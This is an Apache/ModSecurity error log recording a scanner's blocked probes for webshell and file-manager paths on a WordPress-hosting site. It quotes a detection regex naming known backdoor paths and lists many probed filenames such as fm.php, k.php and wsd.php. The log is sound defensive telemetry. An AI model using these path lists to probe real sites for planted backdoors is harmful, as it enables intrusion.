[Sun Dec 14 07:28:54.274343 2025] [:error] [pid 41600:tid 41611] [client 52.169.159.88:7429] [client 52.169.159.88] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/fm.php"] [unique_id "aT32ttFLTBZjcwNd_VsPGwAAAQg"]
[Sun Dec 14 07:28:54.779757 2025] [:error] [pid 39523:tid 39530] [client 52.169.159.88:16363] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT32tjQTQH1raAj2lkg_xAAAAAI"]
[Sun Dec 14 07:28:55.283642 2025] [:error] [pid 39525:tid 39595] [client 52.169.159.88:8983] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT32t01fX_pB_BrvE_6U3QAAAIw"]
[Sun Dec 14 07:28:55.782830 2025] [:error] [pid 39525:tid 39584] [client 52.169.159.88:10946] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT32t01fX_pB_BrvE_6U3wAAAIE"]
[Sun Dec 14 07:28:56.283818 2025] [:error] [pid 39525:tid 39598] [client 52.169.159.88:13517] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/manager.php"] [unique_id "aT32uE1fX_pB_BrvE_6U4AAAAI8"]
[Sun Dec 14 07:28:56.783965 2025] [:error] [pid 39524:tid 39579] [client 52.169.159.88:5638] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32uGrVGpbDzFtDE9MlzQAAAFc"]
[Sun Dec 14 07:28:57.288902 2025] [:error] [pid 39525:tid 39604] [client 52.169.159.88:16332] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32uU1fX_pB_BrvE_6U4QAAAJU"]
[Sun Dec 14 07:28:57.794376 2025] [:error] [pid 39525:tid 39589] [client 52.169.159.88:5855] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32uU1fX_pB_BrvE_6U4gAAAIY"]
[Sun Dec 14 07:28:58.296337 2025] [:error] [pid 39614:tid 39618] [client 52.169.159.88:16254] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aT32uvxybG8-9MflbDelxwAAAMI"]
[Sun Dec 14 07:28:58.795446 2025] [:error] [pid 39523:tid 39552] [client 52.169.159.88:10096] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aT32ujQTQH1raAj2lkg_yAAAABg"]
[Sun Dec 14 07:28:59.297288 2025] [:error] [pid 39524:tid 39573] [client 52.169.159.88:5457] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aT32u2rVGpbDzFtDE9Ml0AAAAFE"]
[Sun Dec 14 07:28:59.797819 2025] [:error] [pid 39614:tid 39624] [client 52.169.159.88:7811] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aT32u_xybG8-9MflbDelyQAAAMg"]
[Sun Dec 14 07:29:00.308818 2025] [:error] [pid 41600:tid 41627] [client 52.169.159.88:4137] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ss.php"] [unique_id "aT32vNFLTBZjcwNd_VsPIQAAARg"]
[Sun Dec 14 07:29:00.814449 2025] [:error] [pid 39523:tid 39528] [client 52.169.159.88:8975] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32vDQTQH1raAj2lkg_zAAAAAA"]
[Sun Dec 14 07:29:01.317964 2025] [:error] [pid 39525:tid 39588] [client 52.169.159.88:13561] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32vU1fX_pB_BrvE_6U5gAAAIU"]
[Sun Dec 14 07:29:01.819184 2025] [:error] [pid 39525:tid 39586] [client 52.169.159.88:16192] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32vU1fX_pB_BrvE_6U6AAAAIM"]
[Sun Dec 14 07:29:02.323213 2025] [:error] [pid 39524:tid 39567] [client 52.169.159.88:4158] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/chosen.php"] [unique_id "aT32vmrVGpbDzFtDE9Ml1QAAAEs"]
[Sun Dec 14 07:29:02.823603 2025] [:error] [pid 41600:tid 41624] [client 52.169.159.88:5126] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aT32vtFLTBZjcwNd_VsPJAAAARU"]
[Sun Dec 14 07:29:03.323224 2025] [:error] [pid 41600:tid 41603] [client 52.169.159.88:5826] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aT32v9FLTBZjcwNd_VsPJQAAAQA"]
[Sun Dec 14 07:29:03.823651 2025] [:error] [pid 39614:tid 39619] [client 52.169.159.88:11869] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aT32v_xybG8-9MflbDelzAAAAMM"]
[Sun Dec 14 07:29:04.322481 2025] [:error] [pid 39524:tid 39561] [client 52.169.159.88:7424] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/file2.php"] [unique_id "aT32wGrVGpbDzFtDE9Ml1gAAAEU"]
[Sun Dec 14 07:29:04.825979 2025] [:error] [pid 39523:tid 39532] [client 52.169.159.88:5670] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aT32wDQTQH1raAj2lkg_0AAAAAQ"]
[Sun Dec 14 07:29:05.331517 2025] [:error] [pid 39523:tid 39542] [client 52.169.159.88:6077] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aT32wTQTQH1raAj2lkg_0wAAAA4"]
[Sun Dec 14 07:29:05.843431 2025] [:error] [pid 39523:tid 39551] [client 52.169.159.88:5662] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aT32wTQTQH1raAj2lkg_1AAAABc"]
[Sun Dec 14 07:29:06.341835 2025] [:error] [pid 39524:tid 39564] [client 52.169.159.88:5668] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/re.php"] [unique_id "aT32wmrVGpbDzFtDE9Ml1wAAAEg"]
[Sun Dec 14 07:29:06.841461 2025] [:error] [pid 39614:tid 39616] [client 52.169.159.88:11374] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT32wvxybG8-9MflbDelzQAAAMA"]
[Sun Dec 14 07:29:07.342897 2025] [:error] [pid 41600:tid 41612] [client 52.169.159.88:5641] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT32w9FLTBZjcwNd_VsPJgAAAQk"]
[Sun Dec 14 07:29:07.843634 2025] [:error] [pid 41600:tid 41618] [client 52.169.159.88:11930] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT32w9FLTBZjcwNd_VsPJwAAAQ8"]
[Sun Dec 14 07:29:08.344858 2025] [:error] [pid 39614:tid 39637] [client 52.169.159.88:16233] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp.php"] [unique_id "aT32xPxybG8-9MflbDelzwAAANU"]
[Sun Dec 14 07:29:08.846839 2025] [:error] [pid 41600:tid 41614] [client 52.169.159.88:16482] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32xNFLTBZjcwNd_VsPKQAAAQs"]
[Sun Dec 14 07:29:09.351988 2025] [:error] [pid 41600:tid 41623] [client 52.169.159.88:10566] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32xdFLTBZjcwNd_VsPKgAAARQ"]
[Sun Dec 14 07:29:09.853642 2025] [:error] [pid 39524:tid 39576] [client 52.169.159.88:11843] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32xWrVGpbDzFtDE9Ml2gAAAFQ"]
[Sun Dec 14 07:29:10.353373 2025] [:error] [pid 41600:tid 41620] [client 52.169.159.88:5873] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/v3.php"] [unique_id "aT32xtFLTBZjcwNd_VsPLAAAARE"]
[Sun Dec 14 07:29:10.855156 2025] [:error] [pid 41600:tid 41622] [client 52.169.159.88:5139] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aT32xtFLTBZjcwNd_VsPLgAAARM"]
[Sun Dec 14 07:29:11.355503 2025] [:error] [pid 41600:tid 41609] [client 52.169.159.88:16381] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aT32x9FLTBZjcwNd_VsPLwAAAQY"]
[Sun Dec 14 07:29:11.859777 2025] [:error] [pid 41600:tid 41603] [client 52.169.159.88:5150] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aT32x9FLTBZjcwNd_VsPMgAAAQA"]
[Sun Dec 14 07:29:12.366944 2025] [:error] [pid 39523:tid 39534] [client 52.169.159.88:7275] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lib.php"] [unique_id "aT32yDQTQH1raAj2lkg_1QAAAAY"]
[Sun Dec 14 07:29:12.870827 2025] [:error] [pid 39614:tid 39631] [client 52.169.159.88:7265] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aT32yPxybG8-9MflbDel0gAAAM8"]
[Sun Dec 14 07:29:13.370094 2025] [:error] [pid 39614:tid 39626] [client 52.169.159.88:16349] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aT32yfxybG8-9MflbDel0wAAAMo"]
[Sun Dec 14 07:29:13.871190 2025] [:error] [pid 39614:tid 39628] [client 52.169.159.88:16487] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aT32yfxybG8-9MflbDel1AAAAMw"]
[Sun Dec 14 07:29:14.372021 2025] [:error] [pid 39614:tid 39639] [client 52.169.159.88:16324] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class9.php"] [unique_id "aT32yvxybG8-9MflbDel1QAAANc"]
[Sun Dec 14 07:29:14.873291 2025] [:error] [pid 41600:tid 41612] [client 52.169.159.88:16236] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aT32ytFLTBZjcwNd_VsPNgAAAQk"]
[Sun Dec 14 07:29:15.375260 2025] [:error] [pid 39524:tid 39560] [client 52.169.159.88:9518] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aT32y2rVGpbDzFtDE9Ml3wAAAEQ"]
[Sun Dec 14 07:29:15.874570 2025] [:error] [pid 39614:tid 39617] [client 52.169.159.88:11339] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aT32y_xybG8-9MflbDel1gAAAME"]
[Sun Dec 14 07:29:16.377469 2025] [:error] [pid 39525:tid 39586] [client 52.169.159.88:11350] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wsd.php"] [unique_id "aT32zE1fX_pB_BrvE_6U8wAAAIM"]
[Sun Dec 14 07:29:16.880189 2025] [:error] [pid 39614:tid 39633] [client 52.169.159.88:16251] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT32zPxybG8-9MflbDel1wAAANE"]
[Sun Dec 14 07:29:17.383633 2025] [:error] [pid 39523:tid 39540] [client 52.169.159.88:16478] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT32zTQTQH1raAj2lkg_1wAAAAw"]
[Sun Dec 14 07:29:17.890355 2025] [:error] [pid 39525:tid 39585] [client 52.169.159.88:2526] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT32zU1fX_pB_BrvE_6U9wAAAII"]
[Sun Dec 14 07:29:18.395075 2025] [:error] [pid 39523:tid 39528] [client 52.169.159.88:16452] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "aT32zjQTQH1raAj2lkg_2AAAAAA"]
[Sun Dec 14 07:29:18.896126 2025] [:error] [pid 39523:tid 39536] [client 52.169.159.88:5171] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT32zjQTQH1raAj2lkg_2QAAAAg"]
[Sun Dec 14 07:29:19.402410 2025] [:error] [pid 39614:tid 39624] [client 52.169.159.88:2779] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT32z_xybG8-9MflbDel2QAAAMg"]
[Sun Dec 14 07:29:19.903089 2025] [:error] [pid 39614:tid 39640] [client 52.169.159.88:6556] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT32z_xybG8-9MflbDel2gAAANg"]
[Sun Dec 14 07:29:20.404049 2025] [:error] [pid 39525:tid 39605] [client 52.169.159.88:6575] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/m.php"] [unique_id "aT320E1fX_pB_BrvE_6U-gAAAJY"]
[Sun Dec 14 07:29:20.904698 2025] [:error] [pid 39614:tid 39623] [client 52.169.159.88:8655] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aT320PxybG8-9MflbDel3AAAAMc"]
[Sun Dec 14 07:29:21.404511 2025] [:error] [pid 39523:tid 39535] [client 52.169.159.88:16472] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aT320TQTQH1raAj2lkg_2gAAAAc"]
[Sun Dec 14 07:29:21.904067 2025] [:error] [pid 39614:tid 39619] [client 52.169.159.88:10562] [client 52.169.159.88] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/habhan.php"] [unique_id "aT320fxybG8-9MflbDel3QAAAMM"]
